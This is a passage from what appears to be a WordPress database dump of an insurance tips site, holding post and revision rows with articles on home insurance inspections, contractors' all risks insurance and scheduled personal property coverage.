-->\n\n<!-- wp:list-item -->\n<li>You may be more likely to need a home inspection if the home is located in an area that’s at high risk for natural disasters, such as hurricanes or earthquakes.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The home insurance inspection helps your insurer to accurately determine the replacement cost of the property and its contents.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_5-0\">What Is a Home Insurance Inspection?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">As mentioned, a home insurance inspection is separate from a typical home inspection. When you schedule a home inspection, it’s usually for your own peace of mind. For example, you may want to be sure that the home has no major structural issues, such as a cracked foundation or damaged wiring. A certified home inspector can examine the home inside and out to look for any issues and summarize them in a report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">Home inspections aren’t always required by mortgage lenders, though an appraisal is, in order to establish the property’s value. Mortgage lenders typically don’t ask for a home insurance inspection either; this is usually requested by the company through which you’re attempting to purchase homeowners insurance.&nbsp;However, whether you’re getting a regular home inspection, a home insurance inspection, or an appraisal, you’re responsible for paying the cost out of pocket.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_10-0\">A home insurance inspection allows the insurance company to gauge the home’s replacement cost. This is also how the insurance company assesses risk to determine the likelihood that you’ll need to file a claim for damages and calculates your estimated premium costs. A home inspection may be more common if you’re buying an older home or a home in an area that’s prone to natural disasters, such as hurricanes, earthquakes, or forest fires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, in Florida and some Gulf Coast states, homeowners can go through a wind mitigation inspection. This type of inspection looks specifically at what efforts are in place to mitigate wind damage to a home that’s being covered. Insurance companies can offer discounts on coverage for homeowners who undergo this type of inspection and show that they’ve mitigated wind damage risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Separate pest and septic tank inspections may also be necessary when buying a home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_16-0\">What a Home Insurance Inspection Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">In most cases your homeowners insurance company may do a visual inspection of the home’s exterior. This allows it to check out the condition of doors, windows, roofing, and additional structures on the property. If the insurance company decides that a more detailed inspection is necessary, it will also take a look inside the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">Every inspection is different, but generally the inspector will be assessing things such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_21-0\"><!-- wp:list-item -->\n<li>The condition and age of the roof</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any exterior hazards that could potentially lead to damage, such as overhanging trees&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exterior items that could be damaged, such as sidewalks, lighting fixtures, or separate buildings on the property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior drainage systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of the basement, if you have one, and the foundation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plumbing systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the home’s electrical system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Home appliances</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of flooring and walls</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Attic spaces and crawl spaces</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anti-theft measures, such as a home security system or deadbolts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke and carbon monoxide detectors</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the HVAC system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Chimneys and fireplaces, if you have them</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_23-0\">Overall, the goal is to assess both risk and replacement cost if the home ends up being damaged. You may not need to be at home for the exterior part of the inspection if the insurance company only wants to look at the outside, but you\'ll need to be present for the interior inspection if one is requested. The time frame can be as much as two hours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If your insurance company wants to do a complete home insurance inspection or you decide to request one, expect it to take a couple of hours to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">How to Prepare for a Home Insurance Inspection</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">If you’re scheduled for a home insurance inspection, there are some things you can do to get ready for it. By doing a little prep work, you can spot any issues that are likely to show up in the inspection, so you’re not caught off guard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_30-0\">Preparing for a home insurance inspection on the exterior:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_32-0\"><!-- wp:list-item -->\n<li>Check your roof for any loose or missing shingles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have gutters, check to see if they’re secured to the home properly and clear out any debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check the foundation for cracks or other signs of weakening.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have a chimney, check it for cracks or loose bricks and consider getting it professionally cleaned.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Trim any overhanging branches or dead limbs that could present a hazard to roofing or other parts of the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your siding, doors, and windows for cracks, leaks, and signs of water damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look for any potential hazards, such as an uneven sidewalk that could cause someone to get injured on the property.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">Preparing for a home insurance inspection on the inside:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_36-0\"><!-- wp:list-item -->\n<li>Check your smoke detectors and carbon monoxide detectors to make sure they’re working properly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your home’s fire extinguisher to make sure it’s operational.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clean out your fireplace and its flue, if you have one.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check around windows and doors on the inside to look for leaks or signs of termite damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look in the attic and basement for signs of any water or pest damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider cleaning your HVAC system and testing it to make sure it’s working properly.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look under sinks and around faucets, showerheads, and toilets for signs of leaks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Inspect the walls to look for cracks or bowing, which could suggest foundation or roof issues.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Important: If your homeowners insurance company decides a home insurance inspection is necessary, it may wait until after you close on the home to schedule the inspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_40-0\">What to Do if You’re Denied for Home Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_41-0\">If your home insurance inspection turns up some serious issues with the property, your insurance company may decide that it’s too much of a risk to cover you. In that scenario you may have a few options.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">First, you could make any necessary repairs the insurance company requests as a condition of getting covered. That could mean replacing the roof or hot water heater or repaving the driveway.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">If that doesn’t work, you can look for coverage through a company that specializes in high-risk properties. You’ll likely pay more for homeowners insurance than you would ordinarily, but it may be the only way to get coverage for a home with damage or structural issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_47-0\">A third possibility is getting the home covered under Fair Access Insurance Plans. FAIR plans are state-run programs that offer insurance for high-risk homeowners or help them find coverage. This could help you get covered if you’ve exhausted all other options. Keep in mind, however, that not every state offers a FAIR plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/how-to-prepare-for-a-home-insurance-inspection-5074113\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Prepare for a Home Insurance Inspection','','inherit','closed','closed','','4082-revision-v1','','','2024-05-20 04:26:12','2024-05-20 04:26:12','',4082,'https://smartinsurance.tips/?p=4084',0,'revision','',0),(4085,1,'2024-05-20 04:28:36','2024-05-20 04:28:36','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4155,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-4155\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Contractors\' All Risks (CAR) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">Contractors\' all risks (CAR) insurance is a non-standard&nbsp;insurance policy&nbsp;that provides coverage for&nbsp;property damage&nbsp;and third-party injury or damage claims, the&nbsp;two primary types of risks on construction&nbsp;projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Damage to&nbsp;property can&nbsp;include improper construction of structures, the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">Third&nbsp;parties, including subcontractors, may become injured while working at the construction site.&nbsp;CAR insurance not only&nbsp;covers those associated risks but also&nbsp;bridges these two types of risks into a common policy&nbsp;designed to&nbsp;cover the gap between exclusions that would otherwise exist if&nbsp;using separate policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">CAR insurance coverage is common for&nbsp;construction projects involving buildings, water tanks, sewage treatment plans, flyovers, and&nbsp;airports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contractors\' all risks (CAR) insurance is a non-standard&nbsp;insurance policy that provides coverage for&nbsp;property damage&nbsp;and third-party injury or damage claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Those are the&nbsp;two primary types of risks on construction&nbsp;projects.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to&nbsp;property can&nbsp;include improper construction of&nbsp;structures,&nbsp;the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Third&nbsp;parties, including subcontractors, may also suffer injuries while working at the construction site.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The goal of a CAR insurance policy is to cover&nbsp;all parties on a project.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_12-0\">Understanding CAR Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">Typically, both&nbsp;contractor&nbsp;and employer jointly take out&nbsp;CAR insurance policies. Other parties such as financing companies have the option of being named to the policy. Because multiple parties are included in the policy, each retains the right to file a claim against the insurer. All parties have the duty to inform the insurer of any injuries and damages that may result in a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_15-0\">The goal of a CAR insurance policy is to ensure&nbsp;that all parties on a project are covered, regardless of the type of damage to the property or who caused the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">Insurers who underwrite this type of policy lose the right to&nbsp;subrogation. That means that if an insurance company pays out funds to one party in the contract,&nbsp;it cannot seek to recover those funds from another party in the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">For example, if the owner of a large building and the contractor working on the building are on the same CAR policy, any damages&nbsp;to the building caused by the contractor can be recovered by the building owner when a claim is filed. The insurer, however, cannot seek to recover funds from the contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">A CAR insurance policy also provides coverage against property losses or damages caused by&nbsp;fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Risks often covered under a CAR policy include flood, wind, earthquakes, water damage, mold, construction faults,&nbsp;and negligence. They typically do not cover normal wear and tear, willful negligence,&nbsp;or poor workmanship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_25-0\">Extending CAR Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_26-0\">CAR coverage may be&nbsp;extended to cover the interests of manufacturers, suppliers, contractors, and subcontractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">The policy can also be expanded to cover the following events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_30-0\"><!-- wp:list-item -->\n<li>Additional custom duty</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Air freight</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to surrounding property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Debris removal</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earthquake</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Escalation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Loss due to breakage of glass</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Maintenance visits</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_32-0\">Additionally, CAR policies may be designed to include&nbsp;losses incurred when start up is delayed&nbsp;because of another insured loss. For example, if a structure is damaged and is covered by CAR insurance, then the losses incurred as a result of a delay in opening the property while the damage is being repaired may also be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">CAR policies can also be expanded to include a provision for escalation, to cover&nbsp;acts of terrorism, and to cover excess third-party liability, among other less common scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is All Risk Insurance the Same as General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Normally, an all risk insurance policy limits coverage to the construction of a property and ends once the project is finished. A general liability insurance policy can provide coverage for damage to a property for an ongoing period of time after the project is done and the property is sold or occupied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Contractors\' All Risk Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contractors who want to protect themselves against the&nbsp;potential for financial liability&nbsp;due to property damage or injury that may occur during a construction project should consider CAR insurance. A CAR insurance policy can provide you with the assurance that such costs would be covered should the unexpected happen on the job. It can give you peace of mind knowing that, in such circumstances, your business can survive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Parties on a Project Take out a CAR Insurance Policy?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the project contractor and the party that hired the contractor (e.g., the property owner) together take out&nbsp;a CAR insurance policy. Others can also be named on the policy, including the finance company, subcontractors, suppliers, and manufacturers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_42-0\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">Construction projects offer up a myriad of financial risks related to property damage and third-party injury. Contractors\' all risk insurance is a a non-standard insurance policy that covers these risks when they\'re caused by such things as fire, flood, wind, earthquakes, and construction faults at the construction site during a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">Contractors hired to lead a building project should consider a CAR policy. Knowing that you\'re protected against financial claims related to property damages and injuries can instill confidence and provide peace of mind throughout a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.investopedia.com/terms/c/contractors-all-risks-car-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Contractors\' All Risks (CAR) Insurance: Definition and Example','','publish','closed','closed','','contractors-all-risks-car-insurance-definition-and-example','','','2024-06-08 00:34:20','2024-06-08 00:34:20','',0,'https://smartinsurance.tips/?p=4085',0,'post','',0),(4086,1,'2024-05-20 04:27:20','2024-05-20 04:27:20','','Untitled-20','','inherit','closed','closed','','untitled-20-5','','','2024-05-20 04:27:20','2024-05-20 04:27:20','',4085,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-20.png',0,'attachment','image/png',0),(4087,1,'2024-05-20 04:28:36','2024-05-20 04:28:36','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4086,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-4086\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Contractors\' All Risks (CAR) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">Contractors\' all risks (CAR) insurance is a non-standard insurance policy that provides coverage for property damage and third-party injury or damage claims, the two primary types of risks on construction projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Damage to&nbsp;property can&nbsp;include improper construction of structures, the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">Third&nbsp;parties, including subcontractors, may become injured while working at the construction site.&nbsp;CAR insurance not only&nbsp;covers those associated risks but also&nbsp;bridges these two types of risks into a common policy&nbsp;designed to&nbsp;cover the gap between exclusions that would otherwise exist if&nbsp;using separate policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">CAR insurance coverage is common for&nbsp;construction projects involving buildings, water tanks, sewage treatment plans, flyovers, and&nbsp;airports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contractors\' all risks (CAR) insurance is a non-standard&nbsp;insurance policy that provides coverage for&nbsp;property damage&nbsp;and third-party injury or damage claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Those are the&nbsp;two primary types of risks on construction&nbsp;projects.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to&nbsp;property can&nbsp;include improper construction of&nbsp;structures,&nbsp;the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Third&nbsp;parties, including subcontractors, may also suffer injuries while working at the construction site.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The goal of a CAR insurance policy is to cover&nbsp;all parties on a project.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_12-0\">Understanding CAR Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">Typically, both contractor and employer jointly take out CAR insurance policies. Other parties such as financing companies have the option of being named to the policy. Because multiple parties are included in the policy, each retains the right to file a claim against the insurer. All parties have the duty to inform the insurer of any injuries and damages that may result in a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_15-0\">The goal of a CAR insurance policy is to ensure that all parties on a project are covered, regardless of the type of damage to the property or who caused the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">Insurers who underwrite this type of policy lose the right to subrogation. That means that if an insurance company pays out funds to one party in the contract, it cannot seek to recover those funds from another party in the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">For example, if the owner of a large building and the contractor working on the building are on the same CAR policy, any damages&nbsp;to the building caused by the contractor can be recovered by the building owner when a claim is filed. The insurer, however, cannot seek to recover funds from the contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">A CAR insurance policy also provides coverage against property losses or damages caused by fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Risks often covered under a CAR policy include flood, wind, earthquakes, water damage, mold, construction faults, and negligence. They typically do not cover normal wear and tear, willful negligence, or poor workmanship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_25-0\">Extending CAR Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_26-0\">CAR coverage may be&nbsp;extended to cover the interests of manufacturers, suppliers, contractors, and subcontractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">The policy can also be expanded to cover the following events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_30-0\"><!-- wp:list-item -->\n<li>Additional custom duty</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Air freight</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to surrounding property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Debris removal</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earthquake</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Escalation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Loss due to breakage of glass</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Maintenance visits</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_32-0\">Additionally, CAR policies may be designed to include losses incurred when start up is delayed because of another insured loss. For example, if a structure is damaged and is covered by CAR insurance, then the losses incurred as a result of a delay in opening the property while the damage is being repaired may also be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">CAR policies can also be expanded to include a provision for escalation, to cover acts of terrorism, and to cover excess third-party liability, among other less common scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is All Risk Insurance the Same as General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Normally, an all risk insurance policy limits coverage to the construction of a property and ends once the project is finished. A general liability insurance policy can provide coverage for damage to a property for an ongoing period of time after the project is done and the property is sold or occupied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Contractors\' All Risk Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contractors who want to protect themselves against the potential for financial liability due to property damage or injury that may occur during a construction project should consider CAR insurance. A CAR insurance policy can provide you with the assurance that such costs would be covered should the unexpected happen on the job. It can give you peace of mind knowing that, in such circumstances, your business can survive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Parties on a Project Take out a CAR Insurance Policy?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the project contractor and the party that hired the contractor (e.g., the property owner) together take out&nbsp;a CAR insurance policy. Others can also be named on the policy, including the finance company, subcontractors, suppliers, and manufacturers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_42-0\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">Construction projects offer up a myriad of financial risks related to property damage and third-party injury. Contractors\' all risk insurance is a a non-standard insurance policy that covers these risks when they\'re caused by such things as fire, flood, wind, earthquakes, and construction faults at the construction site during a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">Contractors hired to lead a building project should consider a CAR policy. Knowing that you\'re protected against financial claims related to property damages and injuries can instill confidence and provide peace of mind throughout a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/contractors-all-risks-car-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Contractors\' All Risks (CAR) Insurance: Definition and Example','','inherit','closed','closed','','4085-revision-v1','','','2024-05-20 04:28:36','2024-05-20 04:28:36','',4085,'https://smartinsurance.tips/?p=4087',0,'revision','',0),(4088,1,'2024-05-20 04:32:10','2024-05-20 04:32:10','<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is a must-have if you have belongings worth more than your standard policy’s limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4157,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-4157\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Scheduled personal property covers items like jewelry, art and collectibles beyond standard policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s “scheduled” because you list and insure each item individually for what it’s worth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many scheduled personal property policies feature low or even no deductibles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether it\'s a family heirloom, a dazzling piece of jewelry or that art piece you splurged on, your standard home or renters insurance might not be enough. Enter scheduled personal property coverage. It’s the key to ensuring your valuables are fully insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is scheduled personal property?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph 